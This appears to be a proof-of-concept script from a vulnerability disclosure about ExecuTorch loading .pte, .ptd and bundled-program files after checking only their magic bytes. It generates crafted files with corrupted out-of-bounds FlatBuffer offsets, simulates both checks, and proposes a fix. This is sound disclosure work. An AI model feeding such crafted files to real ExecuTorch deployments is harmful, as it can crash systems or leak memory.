File size: 16,742 Bytes
86d9449 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 | #!/usr/bin/env python3
"""
ExecuTorch Missing FlatBuffer Verification (CWE-20 -> CWE-125)
================================================================
Target: ExecuTorch (pytorch/executorch)
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd
Affected Files:
- FlatTensor: extension/flat_tensor/flat_tensor_data_map.cpp
Only checks 4-byte magic "FT01", no VerifyFlatTensorBuffer() call
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/extension/flat_tensor/flat_tensor_data_map.cpp
- BundledProgram: devtools/bundled_program/bundled_program.cpp
Only checks magic, no VerifyBundledProgramBuffer() call
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/devtools/bundled_program/bundled_program.cpp
- Program: runtime/executor/program.cpp + program.h:84
Defaults to Verification::Minimal (magic-only check)
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.h#L84
CWE-20: Improper Input Validation
CWE-125: Out-of-bounds Read
Description:
FlatBuffers provides a VerifyXxxBuffer() function that validates all internal
offsets and sizes within a serialized FlatBuffer before accessing them. Without
this verification, corrupted or maliciously crafted data can cause the
FlatBuffer accessors to return pointers to out-of-bounds memory.
ExecuTorch accepts three types of serialized data:
1. Program (.pte files) - defaults to Verification::Minimal (magic only)
2. FlatTensor (.ptd files) - magic check only, NO verification API
3. BundledProgram - magic check only, NO verification API
In all three cases, the verification is insufficient. A valid 4-byte magic
header followed by corrupted FlatBuffer data will pass all checks but
cause OOB reads when the data is subsequently accessed.
Impact:
Any malicious .pte, .ptd, or bundled program file with a valid magic header
but corrupted internal offsets can cause out-of-bounds memory reads, crashes,
or potentially code execution through controlled memory corruption.
"""
import struct
import sys
import os
import tempfile
# FlatBuffer internal format constants
FLATBUFFER_HEADER_SIZE = 4 # root table offset (uint32_le)
# ExecuTorch magic values
PROGRAM_MAGIC = b"ET12" # Program header (at offset 4-8 in flatbuffer)
FLAT_TENSOR_MAGIC = b"FT01" # FlatTensor header
BUNDLED_MAGIC = b"BP01" # BundledProgram header (approximate)
def create_valid_flatbuffer_skeleton(magic: bytes, total_size: int = 64) -> bytearray:
"""
Creates a minimal byte sequence that looks like a FlatBuffer with the
correct magic but with corrupted internal offsets.
FlatBuffer wire format:
[0:4] - uint32_le: offset to root table (relative to position 0)
[4:8] - file_identifier (magic bytes like "ET12")
[8:...] - vtable, table data, etc.
We set the root table offset to point within our buffer, but the
vtable and field offsets are corrupted to point out of bounds.
"""
buf = bytearray(total_size)
# Root table offset — point to offset 8 (just past the header)
struct.pack_into("<I", buf, 0, 8)
# File identifier (magic)
buf[4:8] = magic
# At offset 8: the "root table" starts here
# FlatBuffer tables start with a signed offset to their vtable
# We'll set this to point to offset 12 (a fake vtable)
struct.pack_into("<i", buf, 8, -4) # vtable is at 8 - (-4) = 12... wait
# Actually: vtable_offset = table_start - soffset_at_table_start
# So if table is at 8 and we store 4, vtable = 8 - 4 = 4 (the magic, wrong!)
# Let's put vtable at offset 16
struct.pack_into("<i", buf, 8, -8) # vtable at 8 - (-8) = 16
# At offset 16: fake vtable
# vtable format: [vtable_size: uint16, table_size: uint16, field_offsets: uint16...]
vtable_size = 12 # 4 bytes header + 4 fields x 2 bytes each
table_size = 32
struct.pack_into("<HH", buf, 16, vtable_size, table_size)
# Field offsets in vtable (relative to table start at offset 8)
# These are the corrupted values — they point far outside the buffer
struct.pack_into("<H", buf, 20, 0xFFF0) # Field 0: offset 0xFFF0 from table start
struct.pack_into("<H", buf, 22, 0xFFF4) # Field 1: offset 0xFFF4 from table start
struct.pack_into("<H", buf, 24, 0xFFF8) # Field 2: offset 0xFFF8 from table start
struct.pack_into("<H", buf, 26, 0xFFFC) # Field 3: offset 0xFFFC from table start
return buf
def simulate_magic_only_check(data: bytes, expected_magic: bytes) -> dict:
"""
Simulates the magic-only verification used by ExecuTorch.
For Program (program.cpp, Verification::Minimal):
const uint8_t* header = data + kMagicOffset;
if (memcmp(header, kMagic, kMagicSize) != 0) return InvalidProgram;
For FlatTensor (flat_tensor_data_map.cpp):
if (memcmp(data + kMagicOffset, kExpectedFlatTensorMagic, kMagicSize) != 0)
return InvalidArgument;
For BundledProgram: similar magic-only check.
"""
if len(data) < 8:
return {"passes": False, "reason": "Data too small"}
# Magic is at bytes 4-8 (the FlatBuffer file_identifier)
actual_magic = data[4:8]
magic_matches = actual_magic == expected_magic
return {
"passes": magic_matches,
"actual_magic": actual_magic,
"expected_magic": expected_magic,
"data_size": len(data),
}
def simulate_full_verify(data: bytes) -> dict:
"""
Simulates what a proper FlatBuffer Verify would check.
The Verify function walks all offsets in the buffer and checks:
1. All offsets point within the buffer bounds
2. All vtable sizes are valid
3. All string/vector lengths are valid
4. No overlapping regions
"""
if len(data) < 8:
return {"passes": False, "reason": "Data too small"}
issues = []
# Check root table offset
root_offset = struct.unpack_from("<I", data, 0)[0]
if root_offset >= len(data):
issues.append(f"Root table offset {root_offset} >= buffer size {len(data)}")
if root_offset + 4 <= len(data):
# Check vtable offset
vtable_soffset = struct.unpack_from("<i", data, root_offset)[0]
vtable_pos = root_offset - vtable_soffset
if vtable_pos < 0 or vtable_pos >= len(data):
issues.append(f"VTable position {vtable_pos} out of bounds [0, {len(data)})")
elif vtable_pos + 4 <= len(data):
vtable_size = struct.unpack_from("<H", data, vtable_pos)[0]
table_size = struct.unpack_from("<H", data, vtable_pos + 2)[0]
if vtable_pos + vtable_size > len(data):
issues.append(f"VTable extends past buffer: {vtable_pos}+{vtable_size} > {len(data)}")
# Check each field offset
num_fields = (vtable_size - 4) // 2
for i in range(num_fields):
field_off_pos = vtable_pos + 4 + i * 2
if field_off_pos + 2 <= len(data):
field_offset = struct.unpack_from("<H", data, field_off_pos)[0]
if field_offset != 0: # 0 means field not present
absolute_pos = root_offset + field_offset
if absolute_pos >= len(data):
issues.append(
f"Field {i} offset {field_offset} -> absolute {absolute_pos} "
f">= buffer size {len(data)}")
return {
"passes": len(issues) == 0,
"issues": issues,
}
def main():
print("=" * 78)
print("ExecuTorch Missing FlatBuffer Verification PoC")
print("CWE-20 (Improper Input Validation) -> CWE-125 (OOB Read)")
print("=" * 78)
print()
# -------------------------------------------------------------------------
# Create malicious buffers for each format
# -------------------------------------------------------------------------
print("-" * 78)
print("STEP 1: Create malicious buffers with valid magic but corrupted offsets")
print("-" * 78)
print()
formats = [
("Program (.pte)", PROGRAM_MAGIC, "program.h:84 — Verification::Minimal"),
("FlatTensor (.ptd)", FLAT_TENSOR_MAGIC, "flat_tensor_data_map.cpp — magic only"),
("BundledProgram", BUNDLED_MAGIC, "bundled_program.cpp — magic only"),
]
for name, magic, location in formats:
print(f" [{name}]")
print(f" Verification: {location}")
print()
malicious = create_valid_flatbuffer_skeleton(magic, total_size=64)
# Show the buffer
print(f" Buffer ({len(malicious)} bytes):")
for i in range(0, len(malicious), 16):
hex_part = " ".join(f"{b:02X}" for b in malicious[i:i+16])
ascii_part = "".join(chr(b) if 32 <= b < 127 else "." for b in malicious[i:i+16])
print(f" {i:04X}: {hex_part:<48s} {ascii_part}")
print()
# Run magic-only check (what ExecuTorch does)
magic_result = simulate_magic_only_check(bytes(malicious), magic)
print(f" Magic-only check: {'PASS' if magic_result['passes'] else 'FAIL'}")
print(f" Expected: {magic_result['expected_magic']}")
print(f" Actual: {magic_result['actual_magic']}")
print()
# Run full FlatBuffer verification (what SHOULD be done)
verify_result = simulate_full_verify(bytes(malicious))
print(f" Full FlatBuffer verify: {'PASS' if verify_result['passes'] else 'FAIL'}")
if verify_result.get("issues"):
for issue in verify_result["issues"]:
print(f" - {issue}")
print()
if magic_result["passes"] and not verify_result["passes"]:
print(f" >>> VULNERABILITY: Magic check PASSES but buffer is CORRUPTED <<<")
print(f" >>> Subsequent FlatBuffer field accesses will read OOB memory <<<")
print()
# -------------------------------------------------------------------------
# Write a malicious .pte-like file to demonstrate
# -------------------------------------------------------------------------
print("-" * 78)
print("STEP 2: Create concrete malicious .pte file")
print("-" * 78)
print()
malicious_pte = create_valid_flatbuffer_skeleton(PROGRAM_MAGIC, total_size=64)
# Write to temp file
tmpdir = tempfile.mkdtemp(prefix="executorch_poc_")
pte_path = os.path.join(tmpdir, "malicious.pte")
with open(pte_path, "wb") as f:
f.write(malicious_pte)
print(f" Written malicious .pte to: {pte_path}")
print(f" File size: {len(malicious_pte)} bytes")
print()
print(" This file has:")
print(f" - Valid magic: {PROGRAM_MAGIC} at offset 4")
print(f" - Root table offset: {struct.unpack_from('<I', malicious_pte, 0)[0]}")
print(f" - Corrupted field offsets: 0xFFF0, 0xFFF4, 0xFFF8, 0xFFFC")
print(f" - These offsets resolve to absolute positions 65528-65540")
print(f" - Buffer is only 64 bytes, so all accesses are OOB")
print()
# Clean up
os.unlink(pte_path)
os.rmdir(tmpdir)
# -------------------------------------------------------------------------
# Show the code paths
# -------------------------------------------------------------------------
print("-" * 78)
print("STEP 3: Code Analysis — Where verification is missing")
print("-" * 78)
print()
print(" 1. Program (runtime/executor/program.h:84):")
print(" Default: Verification::Minimal")
print()
print(' static Result<Program> load(')
print(' DataLoader* loader,')
print(' Program::Verification verification =')
print(' Program::Verification::Minimal); // <-- DEFAULT: magic only!')
print()
print(" Even when InternalConsistency is used, it only calls")
print(" flatbuffers::Verifier which has known limitations with")
print(" nested FlatBuffers and union types.")
print()
print(" 2. FlatTensor (extension/flat_tensor/flat_tensor_data_map.cpp):")
print()
print(' // Only checks magic — NO VerifyFlatTensorBuffer()')
print(' const uint8_t* magic = data + FlatTensorHeader::kMagicOffset;')
print(' if (memcmp(magic, FlatTensorHeader::kExpectedMagic,')
print(' FlatTensorHeader::kMagicSize) != 0) {')
print(' return Error::InvalidArgument;')
print(' }')
print(' // Immediately uses GetFlatTensor(data) without verification')
print(' auto* flat_tensor = flatbuffers::GetRoot<FlatTensor>(data);')
print()
print(" Missing: flatbuffers::Verify(data, size) before GetRoot()")
print()
print(" 3. BundledProgram (devtools/bundled_program/bundled_program.cpp):")
print()
print(' // Only checks magic — NO VerifyBundledProgramBuffer()')
print(' if (!IsBundledProgram(file_data)) { return Error; }')
print(' // IsBundledProgram only checks the magic bytes')
print(' auto* bundled_program = GetBundledProgram(file_data);')
print()
print(" Missing: VerifyBundledProgramBuffer() before GetBundledProgram()")
print()
# -------------------------------------------------------------------------
# Demonstrate what happens with corrupted offsets
# -------------------------------------------------------------------------
print("-" * 78)
print("STEP 4: What happens when corrupted FlatBuffer is accessed")
print("-" * 78)
print()
print(" After the magic check passes, ExecuTorch calls FlatBuffer accessors")
print(" like program->execution_plan(), tensor->sizes(), etc.")
print()
print(" With corrupted offsets, these accessors compute pointers like:")
print()
buf_base = 0x7F0000000000 # Simulated buffer base address
buf_size = 64
root_table = buf_base + 8
corrupted_field_offsets = [0xFFF0, 0xFFF4, 0xFFF8, 0xFFFC]
for i, field_off in enumerate(corrupted_field_offsets):
absolute_addr = root_table + field_off
oob_distance = (root_table + field_off) - (buf_base + buf_size)
print(f" Field {i}: table_addr(0x{root_table:X}) + offset(0x{field_off:X}) = 0x{absolute_addr:X}")
print(f" Buffer ends at 0x{buf_base + buf_size:X}")
print(f" OOB by {oob_distance} bytes")
print(f" >>> Reads {4 + i * 4} bytes of unrelated heap memory <<<")
print()
# -------------------------------------------------------------------------
# Null dereference angle (flat_tensor_data_map.cpp:93-97)
# -------------------------------------------------------------------------
print("-" * 78)
print("STEP 5: Null deref angle (FlatTensor optional fields)")
print("-" * 78)
print()
print(" flat_tensor_data_map.cpp:93-97 accesses optional FlatBuffer fields")
print(" without null checks:")
print()
print(' auto* sizes = tensor_metadata->sizes(); // Can be nullptr')
print(' auto* dim_order = tensor_metadata->dim_order(); // Can be nullptr')
print(' size_t num_dims = sizes->size(); // CRASH: null dereference')
print()
print(" A FlatBuffer with the sizes field offset set to 0 (not present)")
print(" will cause sizes() to return nullptr, then ->size() crashes.")
print()
# -------------------------------------------------------------------------
# Summary
# -------------------------------------------------------------------------
print("=" * 78)
print("SUMMARY")
print("=" * 78)
print()
print(" ExecuTorch uses only magic-byte verification for all three serialized")
print(" data formats (Program, FlatTensor, BundledProgram). This means any")
print(" 64-byte file with the correct 4-byte magic header will be accepted")
print(" and parsed, even if internal FlatBuffer offsets are corrupted.")
print()
print(" The FlatBuffers library provides VerifyXxxBuffer() functions that")
print(" validate all internal offsets before use. ExecuTorch either:")
print(" - Defaults to Verification::Minimal (Program)")
print(" - Has no verification API at all (FlatTensor, BundledProgram)")
print()
print(" Fix: Call the appropriate FlatBuffer Verify function for each format")
print(" before accessing any fields. For Program, change the default to")
print(" Verification::InternalConsistency. For FlatTensor and BundledProgram,")
print(" add and use VerifyFlatTensorBuffer() / VerifyBundledProgramBuffer().")
return 1
if __name__ == "__main__":
sys.exit(main())
|